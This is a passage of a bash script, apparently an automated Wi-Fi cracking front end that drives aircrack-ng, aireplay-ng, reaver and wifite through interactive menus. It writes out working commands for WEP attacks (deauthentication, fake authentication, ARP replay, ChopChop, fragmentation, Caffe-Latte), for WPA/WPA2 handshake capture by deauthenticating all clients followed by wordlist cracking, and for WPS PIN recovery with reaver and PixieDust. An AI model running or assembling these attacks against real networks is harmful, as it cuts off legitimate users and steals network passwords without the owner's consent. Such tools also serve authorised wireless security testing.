  2743. doSleepMessage "Setting Up User Input...." "2"
  2744. getESSID
  2745. getBSSID
  2746. getChannel
  2747. sessionWriteBeginNew
  2748. sessionCopyNewCaptureFiles
  2749. doSleepMessage "Killing airodump-ng Sessions...." "2"
  2750. killAirodump
  2751. killWifite
  2752. doSleepMessage "Preparing Client Association...." "2"
  2753. arAssociate
  2754. #sleep 10
  2755. #killAireplay
  2756. doSleepMessage "Preparing airodump-ng Session...." "2"
  2757. adFileDump
  2758. menuAttacksWEP
  2759. }
  2760. autoModeUsePreviousSessionWEP(){
  2761. currentTask="autoModeUsePreviousSessionWEP"
  2762. sessionWriteLoadPrevious
  2763. doSleepMessage "Preparing Client Association...." "2"
  2764. arAssociate
  2765. doSleepMessage "Preparing airodump-ng Session...." "2"
  2766. adFileDump
  2767. menuAttacksWEP
  2768. }
  2769. menuAttacksWEP(){
  2770. currentTask="menuAttacksWEP"
  2771. lastMenuID="menuAttacksWEP"
  2772. sessionCopyNewCaptureFiles
  2773. banner
  2774. bannerStats
  2775. echo ""
  2776. echo "Choose an attack to perform and press ENTER (Type \"more\" to see other options):"
  2777. echo ""
  2778. echo ""
  2779. echo "1) De-Auth (De-Authenticate All Stations) (0=Constant)"
  2780. echo "2) Fake Auth (Fake Authentication with AP)"
  2781. echo "3) Interactive Attack (Interactive Frame Selection)"
  2782. echo "4) ARP Replay (Standard ARP Request Replay)"
  2783. echo "5) ChopChop Atack (Decrypt WEP Packets)"
  2784. echo "6) Fragment Attack (Generates a Valid Keystream)"
  2785. echo "7) Caffe-Latte Attack (Query Client for New IV's)"
  2786. echo "8) C-Frag (Fragments Against a Client)"
  2787. echo "9) MigMode (Attacks WPA Migration Mode)"
  2788. echo ""
  2789. echo "R) Re-Associate (Associate with Client)"
  2790. echo "N) Start New Capture (Log to a new CAP file)"
  2791. echo "T) Test (Tests Injection and Quality)"
  2792. echo ""
  2793. echo "C) Run Aircrack (Crack WEP Key) **If decryption fails, press ENTER from aircrack to return here**"
  2794. echo ""
  2795. read getAttackWEP
  2796. hotkeyInput="$getAttackWEP"
  2797. loadMenuHotkeys "$hotkeyInput"
  2798. case "$getAttackWEP" in
  2799. "")
  2800. menuAttacksWEP
  2801. ;;
  2802. "C" | "c")
  2803. aircrackDecrypt
  2804. ;;
  2805. "R" | "r")
  2806. arAssociate
  2807. ;;
  2808. "T" | "t")
  2809. arAttackTest
  2810. ;;
  2811. "N" | "n")
  2812. killAirodump
  2813. killAireplay
  2814. adFileDump
  2815. ;;
  2816. "0")
  2817. arAttackDeAuthConstant
  2818. ;;
  2819. "1")
  2820. arAttackDeAuth
  2821. ;;
  2822. "2")
  2823. arAttackFakeAuth
  2824. ;;
  2825. "3")
  2826. arAttackInteractive
  2827. ;;
  2828. "4")
  2829. arAttackArpReplay
  2830. ;;
  2831. "5")
  2832. arAttackChopChop
  2833. ;;
  2834. "6")
  2835. arAttackFragment
  2836. ;;
  2837. "7")
  2838. arAttackCaffeLatte
  2839. ;;
  2840. "8")
  2841. arAttackCfrag
  2842. ;;
  2843. "9")
  2844. arAttackMigMode
  2845. ;;
  2846. "more")
  2847. banner
  2848. bannerStats
  2849. echo ""
  2850. echo "Choose an option and press ENTER:"
  2851. echo ""
  2852. echo ""
  2853. echo "1) TCP Dump"
  2854. echo ""
  2855. echo "2) Generate ARP Packet"
  2856. echo ""
  2857. echo "3) Forge ARP Request"
  2858. echo ""
  2859. echo "4) Replay Forged ARP Request"
  2860. echo ""
  2861. echo ""
  2862. echo ""
  2863. echo ""
  2864. echo ""
  2865. echo ""
  2866. echo ""
  2867. echo "R) Return To Previous Page"
  2868. echo ""
  2869. echo ""
  2870. read getMore
  2871. hotkeyInput="$getMore"
  2872. loadMenuHotkeys "$hotkeyInput"
  2873. case "$getMore" in
  2874. "")
  2875. menuAttacksWEP
  2876. ;;
  2877. "1")
  2878. # Needs .cap as INPUT
  2879. #tcpDump ""
  2880. tcpDump "$initPath/$bssid-arp.cap"
  2881. ;;
  2882. "2")
  2883. generateArpPacket
  2884. ;;
  2885. "3")
  2886. # Needs .xor as INPUT
  2887. #forgeArpRequest ""
  2888. getXorFile=$(ls | grep xor | grep $essid)
  2889. forgeArpRequest "$getXorFile" "$initPath/$bssid-arp.cap"
  2890. ;;
  2891. "4")
  2892. # Needs .cap as INPUT (Using Default From forgeArpRequest)
  2893. replayArpRequest
  2894. ;;
  2895. "R" | "r")
  2896. menuAttacksWEP
  2897. ;;
  2898. esac
  2899. ;;
  2900. *)
  2901. menuAttacksWEP
  2902. ;;
  2903. esac
  2904. menuAttacksWEP
  2905. }
  2906. menuAttacksWEPWifiteAuto(){
  2907. currentTask="menuAttacksWEPWifiteAuto"
  2908. lastMenuID="menuAttacksWEPWifiteAuto"
  2909. killAll
  2910. #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 5000 &
  2911. $terminal $wifiteAttackWEP -wepsave "$initPath" -wepca 5000 &
  2912. banner
  2913. bannerStats
  2914. echo ""
  2915. echo "The wifite session should be launched in a separate window."
  2916. echo ""
  2917. echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
  2918. echo ""
  2919. echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
  2920. echo ""
  2921. read pause
  2922. sessionCopyNewCaptureFiles
  2923. killAll
  2924. menuAuto
  2925. }
  2926. arAssociate(){
  2927. currentTask="arAssociate"
  2928. echo ""
  2929. echo ""
  2930. $terminal aireplay-ng -1 6000 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &
  2931. echo ""
  2932. echo ""
  2933. }
  2934. arAttackDeAuth(){
  2935. currentTask="arAttackDeAuth"
  2936. retryDeauth="0"
  2937. doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "2"
  2938. $terminal aireplay-ng --deauth 5 -a $bssid $interfaceMonitor &
  2939. doSleepMessage "De-Authenticating All Connected Stations...." "5"
  2940. }
  2941. arAttackDeAuthConstant(){
  2942. currentTask="arAttackDeAuthConstant"
  2943. retryDeauth="0"
  2944. doSleepMessage "De-Authenticating All Connected Stations...." "2"
  2945. $terminal aireplay-ng --deauth 0 -a $bssid $interfaceMonitor &
  2946. }
  2947. arAttackFakeAuth(){
  2948. currentTask="arAttackFakeAuth"
  2949. #$terminal aireplay-ng -1 1 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
  2950. $terminal aireplay-ng -1 0 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
  2951. # Alt
  2952. #$terminal aireplay-ng -1 6000 -o 1 -q 10 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
  2953. }
  2954. arAttackInteractive(){
  2955. currentTask="arAttackInteractive"
  2956. $terminal aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $bssid -h $macAddressMonitor $interfaceMonitor &
  2957. }
  2958. arAttackArpReplay(){
  2959. currentTask="arAttackArpReplay"
  2960. $terminal aireplay-ng -3 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
  2961. }
  2962. arAttackChopChop(){
  2963. currentTask="arAttackChopChop"
  2964. #$terminal aireplay-ng -4 -a $bssid -h $macAddressMonitor $interfaceMonitor &
  2965. $terminal aireplay-ng -4 -h $macAddressMonitor -b $bssid $interfaceMonitor &
  2966. # Unauthenticated Method
  2967. #$terminal aireplay-ng -4 -b $bssid $interfaceMonitor &
  2968. }
  2969. arAttackFragment(){
  2970. currentTask="arAttackFragment"
  2971. $terminal aireplay-ng -5 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
  2972. }
  2973. arAttackCaffeLatte(){
  2974. currentTask="arAttackCaffeLatte"
  2975. $terminal aireplay-ng -6 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
  2976. }
  2977. arAttackCfrag(){
  2978. currentTask="arAttackCfrag"
  2979. $terminal aireplay-ng -7 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
  2980. }
  2981. arAttackMigMode(){
  2982. currentTask="arAttackMigMode"
  2983. $terminal aireplay-ng -8 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
  2984. }
  2985. arAttackTest(){
  2986. currentTask="arAttackTest"
  2987. $terminal aireplay-ng -9 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &
  2988. }
  2989. aircrackDecryptWEP(){
  2990. currentTask="aircrackDecryptWEP"
  2991. banner
  2992. bannerStats
  2993. echo ""
  2994. echo "Preparing capture files for aircrack-ng...."
  2995. echo ""
  2996. echo ""
  2997. findCaptureFiles
  2998. #echo "$listCap"
  2999. #echo "$listIvs"
  3000. #read pause
  3001. killAircrack
  3002. aircrack-ng -a $acMode -e "$essid" -b $bssid -l "key_$essid" $listCap $listIvs&
  3003. #aircrack-ng -e "$essid" -b $bssid -l "key_$essid" *.cap *.ivs&
  3004. #aircrack-ng -l "key_$essid" *.cap *.ivs&
  3005. #'aircrack-ng' " -l" "$capturePath/$encryptionType/key_$essid" "$capturePath/$encryptionType/*.cap" "$capturePath/$encryptionType/*.ivs"&
  3006. # Killing aircrack-ng to stop auto-checking from overlapping WEP Attack menu
  3007. killAircrack
  3008. #echo ""
  3009. #echo ""
  3010. #echo ""
  3011. #echo "FOUND KEY: "
  3012. echo ""
  3013. echo ""
  3014. echo ""
  3015. echo "Press ENTER to return to Attacks Menu...."
  3016. echo ""
  3017. echo ""
  3018. read acPause
  3019. menuAttacksWEP
  3020. }
  3021. ############################################################################
  3022. # ATTACKS: WEP END #####################################################
  3023. ############################################################################
  3024. ############################################################################
  3025. # ATTACKS: WPA BEGIN ###################################################
  3026. ############################################################################
  3027. autoModeNoPreviousSessionWPA(){
  3028. currentTask="autoModeNoPreviousSessionWPA"
  3029. adAPScanNoChannel
  3030. doSleepMessage "Setting Up User Input...." "2"
  3031. getESSID
  3032. getBSSID
  3033. getChannel
  3034. sessionWriteBeginNew
  3035. sessionCopyNewCaptureFiles
  3036. doSleepMessage "Killing Airodump Window...." "2"
  3037. killAirodump
  3038. menuAttacksWPA
  3039. echo ""
  3040. echo ""
  3041. echo "Press any key to continue...."
  3042. echo ""
  3043. echo ""
  3044. read pause
  3045. }
  3046. autoModeUsePreviousSessionWPA(){
  3047. currentTask="autoModeUsePreviousSessionWPA"
  3048. sessionWriteLoadPrevious
  3049. menuAttacksWPA
  3050. echo ""
  3051. echo ""
  3052. echo "Press any key to continue...."
  3053. echo ""
  3054. echo ""
  3055. read pause
  3056. }
  3057. menuAttacksWPA(){
  3058. currentTask="menuAttacksWPA"
  3059. banner
  3060. bannerStats
  3061. # Only run a deauth with default text and settings if not re-forced through menu
  3062. case "$retryDeauth" in
  3063. "0")
  3064. killAll
  3065. adFileDump
  3066. doSleepMessage "Preparing to Capture WPA Handshake...." "2"
  3067. arAttackDeAuth
  3068. captureHandshakeWPA
  3069. ;;
  3070. "1")
  3071. doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1"
  3072. arAttackDeAuth
  3073. captureHandshakeWPA
  3074. ;;
  3075. esac
  3076. }
  3077. aircrackDecryptWPA(){
  3078. currentTask="aircrackDecryptWPA"
  3079. lastMenuID="aircrackDecryptWPA"
  3080. banner
  3081. bannerStats
  3082. doSleepMessage "Preparing captured handshake for aircrack-ng...." "4"
  3083. banner
  3084. bannerStats
  3085. echo ""
  3086. echo "You need a wordlist to crack the key!"
  3087. echo ""
  3088. echo "Current List Loaded:"
  3089. echo ""
  3090. $green
  3091. echo "$wordlist"
  3092. $white
  3093. echo ""
  3094. echo "You may press C and ENTER to load a custom list"
  3095. echo ""
  3096. echo ""
  3097. echo "Another Example Wordlist Collection:"
  3098. echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
  3099. echo ""
  3100. echo ""
  3101. echo "You may also press B and ENTER to run a besside-ng attack"
  3102. echo ""
  3103. echo ""
  3104. echo "Press ENTER once you have a valid wordlist ready!"
  3105. echo ""
  3106. echo ""
  3107. read tmpPause
  3108. hotkeyInput="$tmpPause"
  3109. loadMenuHotkeys "$hotkeyInput"
  3110. case "$tmpPause" in
  3111. "")
  3112. $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap
  3113. ;;
  3114. "C" | "c")
  3115. getCustomList
  3116. ;;
  3117. "B" | "b")
  3118. bessideMain
  3119. ;;
  3120. esac
  3121. banner
  3122. bannerStats
  3123. #echo ""
  3124. #echo ""
  3125. #echo ""
  3126. #echo "FOUND KEY: "
  3127. echo ""
  3128. echo "WPA Attack Is Currently Running!"
  3129. echo ""
  3130. echo ""
  3131. echo ""
  3132. echo ""
  3133. echo ""
  3134. echo ""
  3135. echo ""
  3136. $red
  3137. echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
  3138. echo ""
  3139. echo ""
  3140. $white
  3141. echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
  3142. echo ""
  3143. echo ""
  3144. $red
  3145. echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
  3146. $white
  3147. echo ""
  3148. echo ""
  3149. read acPause
  3150. hotkeyInput="$acPause"
  3151. loadMenuHotkeys "$hotkeyInput"
  3152. case "$acPause" in
  3153. "")
  3154. killAll
  3155. menuAttacksWPA
  3156. ;;
  3157. esac
  3158. }
  3159. captureHandshakeWPA(){
  3160. currentTask="captureHandshakeWPA"
  3161. lastMenuID="captureHandshakeWPA"
  3162. banner
  3163. bannerStats
  3164. echo ""
  3165. echo "The airodump window is open. Look in top right hand corner for the handshake"
  3166. echo ""
  3167. echo "Once handshake is complete, you may close the airodump window."
  3168. echo ""
  3169. echo ""
  3170. $green
  3171. echo "Example: [ WPA handshake: $bssid ]"
  3172. $white
  3173. echo ""
  3174. echo ""
  3175. echo ""
  3176. echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
  3177. echo ""
  3178. echo ""
  3179. echo ""
  3180. echo ""
  3181. echo "Press ENTER to continue once handshake is made...."
  3182. echo ""
  3183. echo ""
  3184. read captureHandshake
  3185. hotkeyInput="$captureHandshake"
  3186. loadMenuHotkeys "$hotkeyInput"
  3187. case "$captureHandshake" in
  3188. "")
  3189. killAirodump
  3190. killAireplay
  3191. doSleepMessage "Preparing capture files for aircrack-ng...." "2"
  3192. aircrackDecrypt
  3193. ;;
  3194. "D" | "d")
  3195. retryDeauth="1"
  3196. menuAttacksWPA
  3197. ;;
  3198. *)
  3199. menuAttacksWPA
  3200. ;;
  3201. esac
  3202. }
  3203. menuAttacksWPAWifiteAuto(){
  3204. currentTask="menuAttacksWPAWifiteAuto"
  3205. lastMenuID="menuAttacksWPAWifiteAuto"
  3206. killAll
  3207. #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
  3208. $terminal $wifiteAttackWPA &
  3209. banner
  3210. bannerStats
  3211. echo ""
  3212. echo "The wifite session should be launched in a separate window."
  3213. echo ""
  3214. echo ""
  3215. echo ""
  3216. echo ""
  3217. echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
  3218. echo ""
  3219. echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
  3220. echo ""
  3221. read pause
  3222. sessionCopyNewCaptureFiles
  3223. killAll
  3224. menuAuto
  3225. }
  3226. ############################################################################
  3227. # ATTACKS: WPA END #####################################################
  3228. ############################################################################
  3229. ############################################################################
  3230. # ATTACKS: WPA2 BEGIN ##################################################
  3231. ############################################################################
  3232. autoModeNoPreviousSessionWPA2(){
  3233. currentTask="autoModeNoPreviousSessionWPA2"
  3234. adAPScanNoChannel
  3235. doSleepMessage "Setting Up User Input...." "2"
  3236. getESSID
  3237. getBSSID
  3238. getChannel
  3239. sessionWriteBeginNew
  3240. sessionCopyNewCaptureFiles
  3241. doSleepMessage "Killing Airodump Window...." "2"
  3242. killAirodump
  3243. menuAttacksWPA2
  3244. echo ""
  3245. echo ""
  3246. echo "Press any key to continue...."
  3247. echo ""
  3248. echo ""
  3249. read pause
  3250. }
  3251. autoModeUsePreviousSessionWPA2(){
  3252. currentTask="autoModeUsePreviousSessionWPA2"
  3253. sessionWriteLoadPrevious
  3254. menuAttacksWPA2
  3255. echo ""
  3256. echo ""
  3257. echo "Press any key to continue...."
  3258. echo ""
  3259. echo ""
  3260. read pause
  3261. }
  3262. menuAttacksWPA2(){
  3263. currentTask="menuAttacksWPA2"
  3264. banner
  3265. bannerStats
  3266. # Only run a deauth with default text and settings if not re-forced through menu
  3267. case "$retryDeauth" in
  3268. "0")
  3269. killAll
  3270. adFileDump
  3271. doSleepMessage "Preparing to Capture WPA Handshake...." "2"
  3272. arAttackDeAuth
  3273. captureHandshakeWPA2
  3274. ;;
  3275. "1")
  3276. doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1"
  3277. arAttackDeAuth
  3278. captureHandshakeWPA2
  3279. ;;
  3280. esac
  3281. }
  3282. aircrackDecryptWPA2(){
  3283. currentTask="aircrackDecryptWPA2"
  3284. lastMenuID="aircrackDecryptWPA2"
  3285. banner
  3286. bannerStats
  3287. doSleepMessage "Preparing captured handshake for aircrack-ng...." "4"
  3288. banner
  3289. bannerStats
  3290. echo ""
  3291. echo "You need a wordlist to crack the key!"
  3292. echo ""
  3293. echo "Current List Loaded:"
  3294. echo ""
  3295. $green
  3296. echo "$wordlist"
  3297. $white
  3298. echo ""
  3299. echo "You may press C and ENTER to load a custom list"
  3300. echo ""
  3301. echo ""
  3302. echo "Another Example Wordlist Collection:"
  3303. echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
  3304. echo ""
  3305. echo ""
  3306. echo "You may also press B and ENTER to run a besside-ng attack"
  3307. echo ""
  3308. echo ""
  3309. echo "Press ENTER once you have a valid wordlist ready!"
  3310. echo ""
  3311. echo ""
  3312. read tmpPause
  3313. hotkeyInput="$tmpPause"
  3314. loadMenuHotkeys "$hotkeyInput"
  3315. case "$tmpPause" in
  3316. "")
  3317. $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap
  3318. ;;
  3319. "C" | "c")
  3320. getCustomList
  3321. ;;
  3322. "B" | "b")
  3323. bessideMain
  3324. ;;
  3325. esac
  3326. banner
  3327. bannerStats
  3328. #echo ""
  3329. #echo ""
  3330. #echo ""
  3331. #echo "FOUND KEY: "
  3332. echo ""
  3333. echo "WPA2 Attack Is Currently Running!"
  3334. echo ""
  3335. echo ""
  3336. echo ""
  3337. echo ""
  3338. echo ""
  3339. echo ""
  3340. echo ""
  3341. $red
  3342. echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
  3343. echo ""
  3344. echo ""
  3345. $white
  3346. echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
  3347. echo ""
  3348. echo ""
  3349. $red
  3350. echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
  3351. $white
  3352. echo ""
  3353. echo ""
  3354. read acPause
  3355. hotkeyInput="$acPause"
  3356. loadMenuHotkeys "$hotkeyInput"
  3357. case "$acPause" in
  3358. "")
  3359. killAll
  3360. menuAttacksWPA2
  3361. ;;
  3362. esac
  3363. }
  3364. captureHandshakeWPA2(){
  3365. currentTask="captureHandshakeWPA2"
  3366. lastMenuID="captureHandshakeWPA2"
  3367. banner
  3368. bannerStats
  3369. echo ""
  3370. echo "The airodump window is open. Look in top right hand corner for the handshake"
  3371. echo ""
  3372. echo "Once handshake is complete, you may close the airodump window."
  3373. echo ""
  3374. echo ""
  3375. $green
  3376. echo "Example: [ WPA handshake: $bssid ]"
  3377. $white
  3378. echo ""
  3379. echo ""
  3380. echo ""
  3381. echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
  3382. echo ""
  3383. echo ""
  3384. echo ""
  3385. echo ""
  3386. echo "Press ENTER to continue once handshake is made...."
  3387. echo ""
  3388. echo ""
  3389. read captureHandshake
  3390. hotkeyInput="$captureHandshake"
  3391. loadMenuHotkeys "$hotkeyInput"
  3392. case "$captureHandshake" in
  3393. "")
  3394. killAirodump
  3395. killAireplay
  3396. doSleepMessage "Preparing capture files for aircrack-ng...." "2"
  3397. aircrackDecrypt
  3398. ;;
  3399. *)
  3400. menuAttacksWPA2
  3401. ;;
  3402. esac
  3403. }
  3404. menuAttacksWPA2WifiteAuto(){
  3405. currentTask="menuAttacksWPA2WifiteAuto"
  3406. lastMenuID="menuAttacksWPA2WifiteAuto"
  3407. killAll
  3408. #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
  3409. $terminal $wifiteAttackWPA2 &
  3410. banner
  3411. bannerStats
  3412. echo ""
  3413. echo "The wifite session should be launched in a separate window."
  3414. echo ""
  3415. echo ""
  3416. echo ""
  3417. echo ""
  3418. echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
  3419. echo ""
  3420. echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
  3421. echo ""
  3422. read pause
  3423. sessionCopyNewCaptureFiles
  3424. killAll
  3425. menuAuto
  3426. }
  3427. ############################################################################
  3428. # ATTACKS: WPA2 END ####################################################
  3429. ############################################################################
  3430. ############################################################################
  3431. # ATTACKS: WPS BEGIN ###################################################
  3432. ############################################################################
  3433. autoModeNoPreviousSessionWPS(){
  3434. currentTask="autoModeNoPreviousSessionWPS"
  3435. #adAPScanWifiteWPSNoChannel
  3436. #adAPScanNoChannel
  3437. adAPScanNoChannelWPS
  3438. doSleepMessage "Preparing Text List of Available Targets...." "15"
  3439. doSleepMessage "Setting Up User Input...." "2"
  3440. getESSID
  3441. getBSSID
  3442. getChannel
  3443. sessionWriteBeginNew
  3444. sessionCopyNewCaptureFiles
  3445. doSleepMessage "Killing Airodump Window...." "2"
  3446. killAirodump
  3447. killWash
  3448. killWifite
  3449. getBSSIDCharOnly
  3450. # Choose WPS Attack Method
  3451. case "$attackMethodWPS" in
  3452. "reaver")
  3453. reaverSaveAllSessionFiles
  3454. menuAttacksWPS
  3455. ;;
  3456. "bully")
  3457. menuBullyMain
  3458. ;;
  3459. esac
  3460. }
  3461. autoModeUsePreviousSessionWPS(){
  3462. currentTask="autoModeUsePreviousSessionWPS"
  3463. sessionWriteLoadPrevious
  3464. menuAttacksWPS
  3465. }
  3466. menuAttacksWPS(){
  3467. currentTask="menuAttacksWPS"
  3468. banner
  3469. bannerStats
  3470. # Set Default Choice
  3471. pixieChoice="1"
  3472. echo ""
  3473. echo "1) Continue With PixieDust ENABLED (Recommended)"
  3474. echo ""
  3475. echo "2) Continue With PixieDust DISABLED"
  3476. echo ""
  3477. echo ""
  3478. echo ""
  3479. echo ""
  3480. echo ""
  3481. echo ""
  3482. echo "Choose an Option and Press ENTER to continue"
  3483. echo ""
  3484. echo ""
  3485. echo ""
  3486. $green
  3487. echo "If No Selection Is Made, It Will Continue Automatically Using PixieDust"
  3488. $white
  3489. echo ""
  3490. echo ""
  3491. echo "Continuing In 10 Seconds...."
  3492. echo ""
  3493. echo ""
  3494. read -t 10 pixieChoice
  3495. hotkeyInput="$pixieChoice"
  3496. loadMenuHotkeys "$hotkeyInput"
  3497. case "$pixieChoice" in
  3498. "")
  3499. #menuAttacksWPS
  3500. pixieChoice="1"
  3501. sleepMessage1="Preparing Reaver/PixieDust Session...."
  3502. sleepMessage2="Launching Reaver/PixieDust Session...."
  3503. sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!"
  3504. ;;
  3505. "1")
  3506. pixieChoice="1"
  3507. sleepMessage1="Preparing Reaver/PixieDust Session...."
  3508. sleepMessage2="Launching Reaver/PixieDust Session...."
  3509. sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!"
  3510. ;;
  3511. "2")
  3512. pixieChoice="2"
  3513. sleepMessage1="Preparing Reaver Session...."
  3514. sleepMessage2="Launching Reaver Session...."
  3515. sleepMessage3="Reaver Session Is Now Active!"
  3516. ;;
  3517. *)
  3518. menuAttacksWPS
  3519. ;;
  3520. esac
  3521. doSleepMessage "$sleepMessage1" "1"
  3522. killAirodump
  3523. killWash
  3524. disableChannelHopping
  3525. doSleepMessage "$sleepMessage1" "1"
  3526. doSleepMessage "$sleepMessage2" "2"
  3527. banner
  3528. bannerStats
  3529. doSleepMessage "$sleepMessage3" "0" "$green"
  3530. $white
  3531. echo ""
  3532. echo "Press CTRL+C At Any Time To Stop Current Session and Save"
  3533. sleep 2
  3534. case "$pixieChoice" in
  3535. "1")
  3536. #echo "PixeDust Enabled"
  3537. #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv -K $pixieNumber
  3538. $reaver -i $interfaceMonitor -b $bssid -c $channel -vv -K $pixieNumber
  3539. #read pause
  3540. #pixieFailed="1"
  3541. reaverSessionComplete
  3542. case "$pixieFailed" in
  3543. "1")
  3544. banner
  3545. bannerStats
  3546. echo "Pixie Attack Failed! Starting Normal Reaver Attack"
  3547. echo ""
  3548. echo ""
  3549. $white
  3550. reaverMenuAttacksWPS
  3551. ;;
  3552. esac
  3553. ;;
  3554. "2")
  3555. #echo "PixeDust Disabled"
  3556. #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv
  3557. #$reaver -i $interfaceMonitor -b $bssid -c $channel -vv
  3558. reaverMenuAttacksWPS
  3559. ;;
  3560. esac
  3561. }
  3562. reaverMenuAttacksWPS(){
  3563. currentTask="reaverMenuAttacksWPS"
  3564. banner
  3565. bannerStats
  3566. sleepMessage1="Preparing Reaver Session...."
  3567. sleepMessage2="Launching Reaver Session...."
  3568. sleepMessage3="Reaver Session Is Now Active!"
  3569. doSleepMessage "$sleepMessage1" "1"
  3570. killAirodump
  3571. killWash
  3572. disableChannelHopping
  3573. doSleepMessage "$sleepMessage1" "1"
  3574. doSleepMessage "$sleepMessage2" "1"
  3575. banner
  3576. bannerStats
  3577. doSleepMessage "$sleepMessage3" "0" "$green"
  3578. $white
  3579. echo ""
  3580. echo "Press CTRL+C At Any Time To Stop Current Session and Save"
  3581. sleep 2
  3582. $reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv
  3583. # Set pixieChoice To 0 For Triggering Normal Reaver Save Session Screen
  3584. pixieChoice="0"
  3585. reaverSessionComplete
  3586. }
  3587. reaverSessionComplete(){
  3588. currentTask="reaverSessionComplete"
  3589. # Session has ended lands here
  3590. getBSSIDCharOnly
  3591. echo ""
  3592. $lightBlue
  3593. echo "***************************************"
  3594. echo "** SCROLL UP FOR RECOVERED PASSWORD ***"
  3595. echo "***************************************"
  3596. echo ""
  3597. #$magenta
  3598. #echo "Attempting To Save Reaver Session...."
  3599. #echo ""
  3600. #echo "** Will Give Error If No Session Has Been Written **"
  3601. #echo ""
  3602. reaverSaveCurrentSessionFile
  3603. $green
  3604. echo ""
  3605. echo "***************************************"
  3606. echo "* Your reaver session has been saved! *"
  3607. echo "***************************************"
  3608. $white
  3609. echo ""
  3610. $yellow
  3611. # Check if PixieDust was used
  3612. case "$pixieChoice" in
  3613. "0")
  3614. echo "If the key is available, now would be a good time to do the following:"
  3615. echo ""
  3616. echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin"
  3617. echo ""
  3618. echo ""
  3619. $cyan
  3620. echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **"
  3621. $white
  3622. echo ""
  3623. echo ""
  3624. echo ""
  3625. echo ""
  3626. echo ""
  3627. echo "Press ENTER to continue...."
  3628. echo ""
  3629. read pause
  3630. ;;
  3631. "1")
  3632. echo "If the key is available, now would be a good time to do the following:"
  3633. echo ""
  3634. echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin"
  3635. echo ""
  3636. echo ""
  3637. $cyan
  3638. echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **"
  3639. echo ""
  3640. $cyan
  3641. echo "* IF PIXIEDUST ATTACK FAILED, USE THE \"R\" OPTION TO START NORMAL REAVER ATTACK *"
  3642. $white
  3643. echo ""
  3644. echo ""
  3645. echo ""
  3646. echo "Press ENTER to continue or type \"R\" to start normal Reaver attack...."
  3647. echo ""
  3648. read pixiePost
  3649. case "$pixiePost" in
  3650. "R" | "r")
  3651. banner
  3652. bannerStats
  3653. echo "Pixie Attack Failed! Starting Normal Reaver Attack"
  3654. echo ""
  3655. echo ""
  3656. $white
  3657. reaverMenuAttacksWPS
  3658. ;;
  3659. esac
  3660. ;;
  3661. esac
  3662. menuMain
  3663. }
  3664. menuAttacksWPSWifiteAuto(){
  3665. currentTask="menuAttacksWPSWifiteAuto"
  3666. lastMenuID="menuAttacksWPSWifiteAuto"
  3667. killAll
  3668. #$terminal $wifiteAttackWPS -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
  3669. $terminal $wifiteAttackWPS &
  3670. banner
  3671. bannerStats
  3672. echo ""
  3673. echo "The wifite session should be launched in a separate window."
  3674. echo ""
  3675. echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
  3676. echo ""
  3677. echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
  3678. echo ""
  3679. read pause
  3680. echo ""
  3681. echo ""
  3682. echo "Your wifite session has been saved!"
  3683. echo ""
  3684. echo ""
  3685. echo ""
  3686. echo ""
  3687. echo "If the key is available, now would be a good time to do the following:"
  3688. echo ""
  3689. echo "1) Write down the WPA/WPA2 key and/or WPS pin"
  3690. echo ""
  3691. echo "2) Take a picture of the screen to keep a record of the keys"
  3692. echo ""
  3693. echo ""
  3694. echo ""
  3695. echo ""
  3696. echo "Press ENTER to continue...."
  3697. echo ""
  3698. echo ""
  3699. killAll
  3700. menuAuto
  3701. read pause
  3702. }
